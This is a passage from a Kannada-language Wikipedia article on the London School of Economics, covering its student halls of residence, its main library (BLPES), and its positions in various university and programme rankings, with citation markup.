ಎರಡನೆಯ ಅತೀ ದೊಡ್ಡ ವಸತಿ ನಿಲಯವಾಗಿಯೇ ಉಳಿದಿದೆ. ಲಂಡನ್ನಿನ ಆಕರ್ಷಣೆಯ ಕೇಂದ್ರಗಳು ಮತ್ತು ಸೌಲಭ್ಯಗಳಿಗೆ ಹತ್ತಿರವಾಗಿರುವ ಇತರ ವಸತಿ ನಿಲಯಗಳೆಂದರೆ - ಟವರ್ ಬ್ರಿಡ್ಜ್ ಮುಂದಿನ ಬಟ್ಲರ್ ವಾರ್ಫ್, ಸಾಡ್ಲರ್ ವೆಲ್ಸ್ ಗೆ ಹತ್ತಿರದಲ್ಲಿರುವ ಮತ್ತು ಲಂಡನ್ ಬೋರೋಹ್ ಆಫ್ ಐಲಿಂಗ್ಟನ್ ನಲ್ಲಿರುವ ರೋಸ್‌ಬೆರಿ, ಮತ್ತು ಎಲ್‌ಎಸ್‌ಇ ಪ್ರೊಫೆಸರ್ ಹೆಸರನ್ನು ಹೊಂದಿರುವ ಕಾರ್-ಸೌಂಡರ್ಸ್ ಹಾಲ್ ಎನ್ನುವುದು ಫಿಟ್ಜೋವ್ರಿಯಾ ದ ಕೇಂದ್ರಭಾಗದಲ್ಲಿದ್ದು ಟೆಲಿಕಾಂ ಟವರ್ ನಿಂದ 5 ನಿಮಿಷಗಳ ದೂರದಲ್ಲಿದೆ. [[File:Gh new.jpg|thumb|right|ಗ್ರೋಸ್ವೆನೋರ್ ಹೌಸ್ ಸ್ಟುಡಿಯೋಗಳು]] ಎಲ್ಲಾ ಪ್ರಥಮ ವರ್ಷದ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ವಸತಿ ಸೌಕರ್ಯವನ್ನು ಒದಗಿಸಲು ಶಾಲೆಯು 2005 ರಿಂದ ಮೂರು ಹೊಸ ವಸತಿ ನಿಲಯಗಳನ್ನು ಪ್ರಾರಂಭಿಸಿದೆ. ಸ್ವತಂತ್ರ್ಯ ನಿರ್ವಹಣೆಯ ಲಿಲಿಯನ್ ನೋಲೆಸ್ ಎನ್ನುವ ನಿಲಯವು ಸುಮಾರು 360 ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಸೌಲಭ್ಯವನ್ನು ಒದಗಿಸುತ್ತಿದ್ದು, ಇದನ್ನು 2006 ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ನಾರ್ಥಂಬರ್ಲ್ಯಾಂಡ್ ಅವಿನ್ಯೂನಲ್ಲಿರುವ ನಾರ್ಥಂಬರ್ಲ್ಯಾಂಡ್ ಹೌಸ್ ಅನ್ನು ಹೊಸ ವಸತಿ ನಿಲಯವಾಗಿ ಮಾರ್ಪಡಿಸಲು 2005 ರ ಜೂನ್ 2 ರಂದು ಯೋಜನಾ ಅನುಮತಿಯನ್ನು ಕೇಳಲಾಯಿತು, ಮತ್ತು ಅಕ್ಟೋಬರ್ 2006 ರಲ್ಲಿ ಅದು ವಿದ್ಯಾರ್ಥಿಗಳ ವಸತಿಗೆ ಪ್ರಾರಂಭವಾಯಿತು. ಹೊಚ್ಚಹೊಸ ವಸತಿ ನಿಲಯವು ಶ್ರೇಣಿ II ಎಂದು ಪಟ್ಟಿಮಾಡಲಾದ ಕಟ್ಟಡವಾದ ನಾರ್ಥಂಬರ್ಲ್ಯಾಂಡ್ ಹೌಸ್ ಆಗಿದ್ದು, ಇದು ಸ್ಟ್ರಾಂಡ್ ಮತ್ತು ಥೇಮ್ಸ್ ಎಂಬ್ಯಾಂಕ್‌ಮೆಂಟ್ ನಡುವೆ ನೆಲಸಿದೆ. ಅದು ಈ ಹಿಂದೆ ವಿಕ್ಟೋರಿಯಾ ಗ್ರಾಂಡ್ ಹೋಟೆಲ್‌ನ ಮತ್ತು ನಂತರ ಸರ್ಕಾರಿ ಕಚೇರಿಗಳ ಸ್ಥಾನವಾಗಿತ್ತು. ಹೂಟನ್ ಸ್ಟ್ರೀಟ್ ಕ್ಯಾಂಪಸ್‌ಗೆ ಹತ್ತಿರವಾಗಿರುವ ವಸತಿನಿಲಯವನ್ನು ಸ್ನಾತಕೋತ್ತರ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಕಾಯ್ದಿರಿಸಲಾಗಿದೆ ಮತ್ತು ಇದು ಗ್ರೇಟ್ ಕ್ವೀನ್ ಸ್ಟ್ರೀಟ್ ಮತ್ತು ಲಾಂಗ್ ಏಕರ್ ಅಡ್ಡ ರಸ್ತೆಗಳಲ್ಲಿ ಡ್ರೂರಿ ಲೇನ್ ನ ಪೂರ್ವ ಭಾಗದಲ್ಲಿ ನೆಲೆಸಿದೆ. ವಿಕ್ಟೋರಿಯಾ ಕಚೇರಿ ಕಟ್ಟಡದಿಂದ ಮಾರ್ಪಡಿಸಲಾದ ಗ್ರೋಸ್‌ವೆನಾರ್ ಹೌಸ್ ಅನ್ನು ಸೆಪ್ಟೆಂಬರ್ 2005 ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ಈ ವಸತಿ ನಿಲಯದ ವೈಶಿಷ್ಟ್ಯವೆಂದರೆ ಇದರ ಎಲ್ಲಾ 169 ಕೊಠಡಿಗಳು ಚಿಕ್ಕದಾಗಿ, ಸ್ವಯಂ-ಒಳಗೊಂಡಿರುವ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿರುವದರ ಜೊತೆಗೆ ಖಾಸಗಿ ಶೌಚಾಲಯ ಮತ್ತು ಸ್ನಾನ ಗೃಹದ ಸೌಲಭ್ಯಗಳು ಮತ್ತು ಕಿರಿದಾದ ಅಡುಗೆ ಕೋಣೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಹಾಗೆಯೇ ಎಂಟು ಅಂತರ ಕಾಲೇಜು ಸಭಾಂಗಣಗಳಿವೆ. ಕೆಲವು ವಿದ್ಯಾರ್ಥಿಗಳು ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಸ್ಟೂಡೆಂಟ್ ಹೌಸ್, ಲಂಡನ್ ನಲ್ಲಿ ನೆಲೆಸಲು ಸಹ ಆಯ್ಕೆ ಮಾಡಿಕೊಳ್ಳುತ್ತಾರೆ. == ಗ್ರಂಥಾಲಯಗಳು ಮತ್ತು ಪತ್ರಾಗಾರಗಳು == {{Main|British Library of Political and Economic Science}} [[File:LSE large.jpg|thumb|ಲೈಬ್ರರಿ ಮೇಲ್ಭಾವಣಿ]] ಎಲ್‌ಎಸ್‌ಇಯ ಮುಖ್ಯ ಗ್ರಂಥಾಲಯವು ಬ್ರಿಟಿಷ್ ಲೈಬ್ರರಿ ಆಫ್ ಪೊಲಿಟಿಕಲ್ ಎಂಡ್ ಎಕನಾಮಿಕ್ ಸೈನ್ಸ್ (ಬಿಎಲ್‌ಪಿಇಎಸ್) ಆಗಿದೆ. ಇದು ವಿಶ್ವದ ಅತೀ ದೊಡ್ಡ ಸಾಮಾಜಿಕ ಮತ್ತು ರಾಜಕೀಯ ವಿಜ್ಞಾನದ ಗ್ರಂಥಾಲಯದ ತವರು ಮನೆಯಾಗಿದೆ. 1896 ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಇದು ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್ ಮತ್ತು ಕಾಮನ್‌ವೆಲ್ತ್‌ನ ರಾಷ್ಟ್ರೀಯ ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನದ ಗ್ರಂಥಾಲಯವಾಗಿತ್ತು ಮತ್ತು ಇದರ ಎಲ್ಲಾ ಸಂಗ್ರಹಗಳನ್ನು ಅವುಗಳ ಗಮನಾರ್ಹವಾದ ರಾಷ್ಟ್ರೀಯ ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ಪ್ರಾಮುಖ್ಯತೆಗಾಗಿ ಮನ್ನಣೆ ನೀಡಲಾಗಿದೆ ಮತ್ತು ಮ್ಯೂಸಿಯಂ ಲೈಬ್ರರೀಸ್ ಮತ್ತು ಆರ್ಕೈವ್ಸ್ ಕೌನ್ಸಿಲ್ (ಎಮ್‌ಎಲ್ಎ) ನಿಂದ ' ಡೆಸಿಗ್ನೇಶನ್' ಮಾನ್ಯತೆಯನ್ನು ನೀಡಲಾಗಿದೆ. ಬಿಎಲ್‌ಪಿಇಎಸ್‌ಗೆ ಪ್ರತಿದಿನ ವಿದ್ಯಾರ್ಥಿಗಳು ಮತ್ತು ಸಿಬ್ಬಂದಿಯವರು ಸೇರಿದಂತೆ ಸುಮಾರು 6500 ಜನರು ಭೇಟಿ ನೀಡುತ್ತಾರೆ. ಹೆಚ್ಚಿನದಾಗಿ, ಪ್ರತಿ ವರ್ಷ 12,000 ಕ್ಕೂ ಹೆಚ್ಚು ಬಾಹ್ಯ ಬಳಕೆದಾರರಿಗೆ ಸೇವೆ ಸಲ್ಲಿಸುವ ಮೂಲಕ ಇದು ವಿಶೇಷ ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಶೋಧನೆ ಸಂಗ್ರಹವಾಗಿದೆ. ಓಲ್ಡ್ ಬಿಲ್ಡಿಂಗ್‌ನಲ್ಲಿನ ಹೃದಯಂಗಮವಾದ ಕೊಠಡಿಯಲ್ಲಿರುವ ಶಾ ಲೈಬ್ರರಿಯು ಬಿಡುವು ಮತ್ತು ಮನರಂಜನೆಗಾಗಿ ಕಾದಂಬರಿಗಳು ಮತ್ತು ಸಾಮಾನ್ಯ ವಿಷಯದ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಸಂಗ್ರಹವನ್ನು ಒಳಗೊಂಡಿದೆ. 2003 ರಲ್ಲಿ ಟೋನಿ ಬ್ಲೇರ್ ಅವರಿಂದ ಉದ್ಭಾಟನೆಗೊಂಡ ಫ್ಯಾಬಿಯನ್ ವಿಂಡೋ ಸಹ ಲೈಬ್ರರಿಯ ಒಳಗೆ ನೆಲಸಿದೆ. ಹೆಚ್ಚುವರಿಯಾಗಿ, ಲಂಡನ್ ಕಾಲೇಜಿನ ಇತರ ಯಾವುದೇ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಗ್ರಂಥಾಲಯಗಳನ್ನು ಮತ್ತು ರಸೆಲ್ ಸ್ಕ್ವೇರ್ ನಲ್ಲಿ ನೆಲಸಿರುವ ಸೆನೇಟ್ ಹೌಸ್ ಲೈಬ್ರರಿಯಲ್ಲಿನ ವ್ಯಾಪಕವಾದ ಸೌಲಭ್ಯಗಳನ್ನು ಬಳಸಲು ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಅನುಮತಿಸಲಾಗಿದೆ. == ಶೈಕ್ಷಣಿಕ == ಫಲ್‌ಬ್ರೈಡ್ ಕಮೀಶನ್ ಹೇಳುವಂತೆ " ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್ ಎಂಡ್ ಪೊಲಿಟಿಕಲ್ ಸೈನ್ಸ್ ಎನ್ನುವುದು ವಿಶ್ವದಲ್ಲೇ ಪ್ರಮುಖವಾದ ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನ ಸಂಸ್ಥೆಯಾಗಿದೆ"<ref>{{cite web |url=http://www.fulbright.co.uk/fulbright-awards/for-us-citizens/postgraduate-student-awards/university-partners/lse |title=Fullbright Commission |publisher=Fulbright.co.uk |date= |accessdate=2010-04-26 |archive-date=2010-02-17 |archive-url=https://web.archive.org/web/20100217080007/http://www.fulbright.co.uk/fulbright-awards/for-us-citizens/postgraduate-student-awards/university-partners/lse |url-status=dead }}</ref> [[File:Lse library interior.jpg|thumb|right|ಎಲ್ಎಸ್ಇಯಲ್ಲಿ ನಾರ್ಮನ್ ಫೋಸ್ಟರ್ ವಿನ್ಯಾಸಗೊಳಿಸಿದ ಗ್ರಂಥಾಲಯದ ಒಳಾಂಗಣ]] ಟಿಹೆಚ್‌ಇ-ಕ್ಯೂಎಸ್ ವಿಶ್ವ ವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳಲ್ಲಿ (2010 ಎರಡು ಪ್ರತ್ಯೇಕ ಶ್ರೇಣಿಗಳನ್ನು ಟೈಮ್ಸ್ ಉನ್ನತ ಶಿಕ್ಷಣ ಜಾಗತಿಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳು ಮತ್ತು ಕ್ಯೂಎಸ್ ಜಾಗತಿಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳು ಮಂಡಿಸಲಾಗುತ್ತದೆ), 2004 ಮತ್ತು 2005 ರಲ್ಲಿ ಶಾಲೆಯು ವಿಶ್ವದಲ್ಲೇ 11 ನೇ ಶ್ರೇಣಿ ಪಡೆಯಿತು, ಆದರೆ ವಿವಾದಾತ್ಮಕವಾಗಿ 2008 ಮತ್ತು 2009 ಆವೃತ್ತಿಯಲ್ಲಿ 66 ಮತ್ತು 67 ಕ್ಕೆ ಇಳಿಯಿತು. ಶಾಲೆಯ ಆಡಳಿತವು ಹೇಳುವಂತೆ ಈ ಇಳಿಕೆಯು ವಿಧಾನದಲ್ಲಿನ ವಿವಾದಾತ್ಮಕವಾದ ಬದಲಾವಣೆಯಾಗಿದ್ದು, ಅದು ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನದ ಸಂಸ್ಥೆಗಳನ್ನು ಪ್ರತಿಬಂಧಿಸಿತು.<ref>- [http://www2.lse.ac.uk/.../LSEServices/.../LSEInvestigationsIntoTheTHEandQSleaguetables.aspx ] {{dead link|date=September 2010}}</ref> ಕ್ವಾಕ್ವರೆಲಿ ಸೈಮಂಡ್ಸ್ ನೊಂದಿಗಿನ ಅವರ ಪ್ರಸ್ತುತ ವಿಧಾನದ ವ್ಯವಸ್ಥೆಯು ಎಲ್ಎಸ್ಇ ಸೇರಿದಂತೆ ಕೆಲವು ಶಾಲೆಗಳ ವಿರುದ್ದ ಪೂರ್ವಾಗ್ರಹ ಪೀಡಿತವಾಗಿ ನಿಯಮಗಳನ್ನು ಮೀರುವಂತೆ ತಪ್ಪುಗಳನ್ನು ಮಾಡಲಾಗಿತ್ತು ಎಂದು 2010 ರ ಜನವರಿಯಲ್ಲಿ ಟಿಹೆಚ್ಇ ತೀರ್ಮಾನಕ್ಕೆ ಬಂದಿತು.<ref name="autogenerated4">{{cite web |url=http://www2.lse.ac.uk/intranet/LSEServices/divisionsAndDepartments/ERD/LSEinUniversityLeagueTables.aspx |title=LSE in university league tables - External Relations Division - Administrative and academic support divisions - Services and divisions - Staff and students - Home |publisher=.lse.ac.uk |date= |accessdate=2010-04-26 |archive-date=2010-04-29 |archive-url=https://web.archive.org/web/20100429102759/http://www2.lse.ac.uk/intranet/LSEServices/divisionsAndDepartments/ERD/LSEinUniversityLeagueTables.aspx |url-status=dead }}</ref> ಟಿಹೆಚ್‌ಇದ ಹೊಸ ಪಾಲುದಾರರಾದ ಥಾಮಸ್ ರಾಯಟರ್ಸ್ ನ ಪ್ರತಿನಿಧಿಯವರು ಹೀಗೂ ಸಹ ಹೇಳಿದರು "ಕೊನೆಯ ಟೈಮ್ಸ್ ಉನ್ನತ ಶಿಕ್ಷಣ-ಕ್ಯೂಎಸ್ ಜಾಗತಿಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳಲ್ಲಿ ಎಲ್‌ಎಸ್ಇ 67 ನೇ ಸ್ಥಾನ ಪಡೆದಿತ್ತು - ಕೆಲವು ತಪ್ಪುಗಳು ಖಂಡಿತವಾಗಿಯೂ? ಹೌದು, ಮತ್ತು ಸ್ವಲ್ಪ ದೊಡ್ಡದೇ."<ref name="autogenerated4" /> ಅದೇನೂ ಇದ್ದರೂ, ಶಾಲೆಯು ಅದರ ಪ್ರಕಾರದ ಪ್ರಮುಖ 200 ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳೊಳಗೆ ಇರುವ ಒಂದೇ ಒಂದು ಶಾಲೆಯಾಗಿದೆ ಮತ್ತು ವಿಶ್ವದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ಮಧ್ಯಮ ಗಾತ್ರದ ವಿಶೇಷತಃ ಸಂಶೋಧನೆ ವಿಶ್ವವಿದ್ಯಾನಿಲಯವೆಂದು ತೀರ್ಮಾನಿಸಲಾಗಿದೆ. ಪ್ರಾಸಂಗಿಕವಾಗಿ, ಎಲ್ಎಸ್‌ಸಿಯ ಸಾಮಾನ್ಯವಾಗಿ ಶ್ರೇಣಿಯ ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನ ವಿಭಾಗದಲ್ಲಿ ಉತ್ತಮವಾಗಿ ಅಂಕ ಗಳಿಸುತ್ತದೆ. ನಿಜವಾಗಿಯೂ, ವಿಶ್ವದಲ್ಲಿ ಎಂದಿಗೂ ಪ್ರಮುಖ 5 ಕ್ಕಿಂತ ಹೊರಗೆ ತೆರಳಲಿಲ್ಲ ಮತ್ತು ಕಳೆದ ಐದು ವರ್ಷಗಳಲ್ಲಿ 5ನೇ, 4ನೇ, 3ನೇ ಮತ್ತು 2ನೇ ಶ್ರೇಣಿಯನ್ನು ಗಳಿಸಿದೆ.<ref>{{cite web |url=http://www.topuniversities.com/university-rankings/world-university-rankings/2009/subject-rankings/social-sciences |title=THE - QS World University Rankings 2009 - Social Sciences |publisher=Top Universities |date=2009-11-12 |accessdate=2010-04-26 |archive-date=2010-02-11 |archive-url=https://web.archive.org/web/20100211114508/http://www.topuniversities.com/university-rankings/world-university-rankings/2009/subject-rankings/social-sciences |url-status=dead }}</ref> ಶ್ರೇಣಿಯ ಪ್ರಾರಂಭವಾದಾಗಲಿಂದಲೂ ಎಲ್ಎಸ್ಇಯು ಉದ್ಯೋಗಿಗಳ ವಿಮರ್ಶೆಯ ಸಮೀಕ್ಷೆಗಳಲ್ಲಿ ಅಗ್ರಗಣ್ಯವಾಗಿದೆ ಮತ್ತು ಎಂದಿಗೂ ಉದ್ಯೋಗದಾತರ ನೋಟದಲ್ಲಿ ವಿಶ್ವದ ಪ್ರಮುಖ 5 ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಿಗಿಂತ ಹೊರಗೆ ಸಾಗಿಲ್ಲ. 2008 ರ ಸಂಶೋಧನೆ ಪುನರ್‌ಮೌಲ್ಯಮಾಪನ ಅಭಿಯಾನದಲ್ಲಿ, ಯಾವುದೇ ಬ್ರಿಟಿಷ್ ಉನ್ನತ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳಿಗಿಂತಲೂ ಹೆಚ್ಚಿನ ವಿಶ್ವದ-ಪ್ರಮುಖ ಸಂಶೋಧನೆಯ ಶೇಕಡಾ ಪ್ರಮಾಣವನ್ನು ಹೊಂದಿತ್ತು.<ref>{{cite news| url=http://www.independent.co.uk/news/education/education-news/lse-beats-oxford-and-cambridge-to-become-best-research-centre-1202324.html | work=The Independent | location=London | title=LSE beats Oxford and Cambridge to become best research centre | first=Richard | last=Garner | date=2008-12-18 | accessdate=2010-04-04}}</ref> ಆಕ್ಸ್‌ಫರ್ಡ್ ಮತ್ತು ಕೇಂಬ್ರಿಡ್ಜ್ ನ ಶೇಕಡಾ 32 ಪ್ರಮಾಣಕ್ಕೆ ಹೋಲಿಸಿದರೆ ಎಲ್‌ಎಸ್‌ಇ ಯ ಶೇಕಡಾ 35 ಅಧ್ಯಾಪಕರು ವಿಶ್ವದ ಪ್ರಮುಖ ಕಾರ್ಯಗಳನ್ನು ನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ ಎಂಬುದನ್ನು ಆಧರಿಸಿ ದಿ ಇಂಡೆಪೆಂಡೆಂಟ್ ಸುದ್ದಿಪತ್ರಿಕೆಯು ಎಲ್ಎಸ್ಇಯನ್ನು ಸಂಶೋಧನೆಯಲ್ಲಿ ದೇಶದ ಪ್ರಥಮ ಸ್ಥಾನವನ್ನು ನೀಡಿತು .<ref>{{cite web |url=http://www2.lse.ac.uk/researchAndExpertise/RAE2008/home.aspx |title=Research Assessment Exercise 2008 - RAE 2008 - Research and expertise - Home |publisher=.lse.ac.uk |date=2009-11-25 |accessdate=2010-04-26 |archive-date=2010-12-31 |archive-url=https://web.archive.org/web/20101231131514/http://www2.lse.ac.uk/researchAndExpertise/RAE2008/home.aspx |url-status=dead }}</ref> ಇನ್ನೂ ಹೆಚ್ಚಾಗಿ, ಟೈಮ್ಸ್ ಸುದ್ದಿಪತ್ರಿಕೆಯ ಪ್ರಕಾರ, ಪ್ರಥಮ ಸ್ಥಾನದಲ್ಲಿ ಕೇಂಬ್ರಿಡ್ಜ್ ಇರುವುದನ್ನು ಹೊರತುಪಡಿಸಿದರೆ ಸಲ್ಲಿಸಿದ ಹದಿನಾಲ್ಕು ಪುನರ್‌ಮೌಲ್ಯಮಾಪನದ ಘಟಕಗಳಾದ್ಯಂತದ ಸರಾಸರಿ ವರ್ಗದ ಅಂಕಗಳಲ್ಲಿ ಎಲ್‌ಎಸ್ಇಯು (ಆಕ್ಸ್‌ಫರ್ಡ್‌ನೊಂದಿಗೆ) ಜಂಟಿ ದ್ವಿತೀಯ ಸ್ಥಾನದಲ್ಲಿದೆ.<ref>{{cite news| url=http://extras.timesonline.co.uk/gug/gooduniversityguide.php | location=London | work=The Times | first=Roland | last=Watson}}</ref><ref>{{cite news| url=http://extras.timesonline.co.uk/stug/universityguide.php?sort=RESEARCH | work=The Times | location=London | accessdate=2010-04-04}}</ref><ref>{{cite news| url=http://www.timesonline.co.uk/tol/life_and_style/education/sunday_times_university_guide/article2497779.ece | work=The Times | location=London | title=How the guide was compiled | date=2008-09-21 | accessdate=2010-04-04}}</ref> ಈ ಆರ್ಎಇ ಫಲಿತಾಂಶಗಳ ಅನುಸಾರ, ಮಾನವಶಾಸ್ತ್ರ, ಅರ್ಥಶಾಸ್ತ್ರ, ಕಾನೂನು, ಸಾಮಾಜಿಕ ನೀತಿ ಮತ್ತು ಯುರೋಪಿಯನ್ ಅಧ್ಯಯನಗಳಲ್ಲಿ ಎಲ್ಎಸ್ಇಯು ಇಂಗ್ಲೆಂಡಿನ ಅಗ್ರಗಣ್ಯ ಸಂಶೋಧನಾ ವಿಶ್ವವಿದ್ಯಾನಿಲಯವಾಗಿದೆ.<ref>{{cite web|url=http://www.rae.ac.uk/submissions/submissions.aspx?id=36&type=uoa |title=RAE 2008 : Submissions : Submissions list |publisher=Rae.ac.uk |date= |accessdate=2010-04-26}}</ref><ref>{{cite news| url=https://www.theguardian.com/education/table/2008/dec/18/rae-2008-business-and-management-studies | work=The Guardian | location=London | title=RAE 2008: business and management studies results | date=2008-12-18 | accessdate=2010-04-04}}</ref> [[File:Lse richard wilson.jpg|thumb|right|ಎಲ್ಎಸ್ಇಯ ಹೊಸ ಶೈಕ್ಷಣಿಕ ಕಟ್ಟಡದ ಮುಂಭಾಗದಲ್ಲಿ ರಿಚರ್ಡ್ ವಿಲ್ಸನ್ ಅವರ ಶಿಲ್ಪಾಕೃತಿ]] ವಿವಿಧ ನಿರ್ದಿಷ್ಟ ಎಲ್‌ಎಸ್ಇ ವಿಭಾಗಗಳೂ ಸಹ ಅತ್ಯುನ್ನತ ಶ್ರೇಣಿಯನ್ನು ಪಡೆದುಕೊಂಡಿವೆ. 2009 ರಲ್ಲಿ ''ಫೈನಾನ್ಶಿಯನ್ ಟೈಮ್ಸ್ ಮಾಸ್ಟರ್ಸ್ ಇನ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ಶ್ರೇಣಿ'' ಯು ಎಂಎಸ್ಸಿ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ಮತ್ತು ಸ್ಟ್ರಾಟೆಜಿ ಪ್ರೋಗ್ರಾಂಗೆ ವಿಶ್ವದಲ್ಲಿ 4 ನೇ ಶ್ರೇಣಿ ನೀಡಿತು (2008 ರಲ್ಲಿ 4ನೇ, 2007 ರಲ್ಲಿ 3ನೇ, 2006 ರಲ್ಲಿ 8ನೇ, 2005 ರಲ್ಲಿ 4ನೇ)<ref>{{cite web|url=http://rankings.ft.com/businessschoolrankings/masters-in-management |title=Business school rankings and MBA rankings from the Financial Times |publisher=Rankings.ft.com |date= |accessdate=2010-04-26}}</ref> ಮತ್ತು 2009 ರ ''ಫೈನಾನ್ಶಯಲ್ ಟೈಮ್ಸ್ ಎಂಬಿಎ ಶ್ರೇಣಿ'' ಯಲ್ಲಿ ಟಿಆರ್ಐಯುಎಮ್ ಎಕ್ಸಿಕ್ಯೂಟಿವ್ ಎಂಬಿಎಯು 2 ನೇ ಶ್ರೇಣಿ ಪಡೆಯಿತು.<ref>{{cite web|url=http://rankings.ft.com/businessschoolrankings/emba-rankings |title=Business school rankings and MBA rankings from the Financial Times |publisher=Rankings.ft.com |date= |accessdate=2010-04-26}}</ref> ಎಲ್‌ಎಸ್ಇಯು ಅರ್ಥಶಾಸ್ತ್ರ ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳ ಇಲಾಖೆಗಳಲ್ಲಿ ಅತ್ಯುನ್ನತ ವಿವಿಧ ವಿಶ್ವ ಶ್ರೇಣಿಗಳನ್ನು ಪಡೆದುಕೊಂಡಿದೆ. ಎರಡನೆಯದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ, ಫೆಬ್ರವರಿ 2008 ರಲ್ಲಿ ನಡೆದ ಹತ್ತು ರಾಷ್ಟ್ರಗಳ ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳ ಅಧ್ಯಾಪಕರುಗಳ 2724 ಶಿಕ್ಷಣತಜ್ಞರ ಟಿಆರ್ಐಪಿ ಸಮೀಕ್ಷೆಯು ಎಲ್ಎಸ್ಇಯ ಪಿಹೆಚ್‌ಡಿ ಕಾರ್ಯಕ್ರಮಕ್ಕೆ ವಿಶ್ವದಲ್ಲಿ 6 ನೇ ಸ್ಥಾನವನ್ನು ಮತ್ತು ಅದರ ಟರ್ಮಿನಲ್ ಮಾಸ್ಟರ್ಸ್ ಪ್ರೋಗ್ರಾಂಗಳಿಗೆ (ಇದು ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳು, ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳ ತತ್ವಗಳು, ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳ ತತ್ವಗಳು ಮತ್ತು ಇತಿಹಾಸ, ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳ ಇತಿಹಾಸ ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ರಾಜಕೀಯ ಅರ್ಥನೀತಿಯನ್ನು ಒಳಗೊಂಡಿದೆ) ಸಮೀಕ್ಷೆ ಮಾಡಿದ ಬ್ರಿಟಿಷ್ ಮತ್ತು ಆಫ್ರಿಕನ್ ಶಿಕ್ಷಣತಜ್ಞರಲ್ಲಿ ವಿಶ್ವದಲ್ಲಿ 7 ನೇ ಸ್ಥಾನ ಮತ್ತು ಬ್ರಿಟಿಷ್‌ನಲ್ಲಿ ಮೊದಲನೇ ಸ್ಥಾನವನ್ನು ನೀಡಿದೆ. ಅರ್ಥಮಾಪನ ಶಾಸ್ತ್ರ ಮತ್ತು ಗಣಿತದ ಅರ್ಥಶಾಸ್ತ್ರದ ಎಂಎಸ್ಸಿ ಪದವಿಗಳ ವ್ಯವಸ್ಥೆಯನ್ನು ಹಾರ್ವರ್ಡ್‌ನ ಎಂಬಿಎ ಜೊತೆಗೆ <ref>{{cite web |url=http://www2.lse.ac.uk/graduateProspectus2010/taughtProgrammes/MScEconometricsAndMathematicalEconomics.aspx |title=MSc Econometics and Mathematical Economics |publisher=www.lse.ac.uk |accessdate=2010-03-05 |archive-date=2010-03-06 |archive-url=https://web.archive.org/web/20100306050141/http://www2.lse.ac.uk/graduateProspectus2010/taughtProgrammes/MScEconometricsAndMathematicalEconomics.aspx |url-status=dead }}</ref> ವಿಶ್ವದಲ್ಲಿನ ಹೆಚ್ಚು ಪ್ರಖ್ಯಾತ 5 ಪದವಿಗಳಲ್ಲಿ ಒಂದು ಎಂದು ಹೆಸರಿಸಲಾಗಿದೆ.<ref>{{cite web|url=http://uk.askmen.com/fine_living/investing/4b_investing.html |title=Most prestigious degrees in the world |publisher=askmen.com |accessdate=2010-03-05 }}</ref> ಈ ವಿಷಯಕ್ರಮವನ್ನು ಅಗ್ರಗಣ್ಯ ಯಎಸ್ ಪಿಹೆಚ್‌ಡಿ ಒದಗಿಸುವಿಕೆ ಎಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ ಮತ್ತು ಅದನ್ನು ವಿಶ್ವದಲ್ಲಿನ ಅತೀ ಕಠಿಣವಾದ ಎಂಎಸ್ಸಿ ಹಂತದ ಪದವಿಯೆಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ. ಹಾಗೆಯೇ 1946 ರಲ್ಲಿ ಕಾರ್ಲ್ ಪೊಪ್ಪರ್ ಅವರಿಂದ ಸ್ಥಾಪಿಸಲಾದ ತತ್ವಶಾಸ್ತ್ರ, ತಾರ್ಕಿಕ ಮತ್ತು ವೈಜ್ಞಾನಿಕ ವಿಧಾನದ ವಿಭಾಗವನ್ನು ಹೆಚ್ಚು ಗೌರವದಿಂದ ಕಾಣಲಾಗುತ್ತದೆ. ಪೋಪ್ಪರ್ ಅವರನ್ನು 20 ನೇ ಶತಮಾನದ ಮಹೋನ್ನತ ತತ್ವಜ್ಞಾನಿಯೆಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ ಮತ್ತು ಅವರು ನಿರಾಧಾರದ ಸಾಧನೆ ಮತ್ತು ಮುಕ್ತ ಸಮಾಜ ದ ಕುರಿತಂತೆ ಪ್ರಭಾವಶಾಲಿ 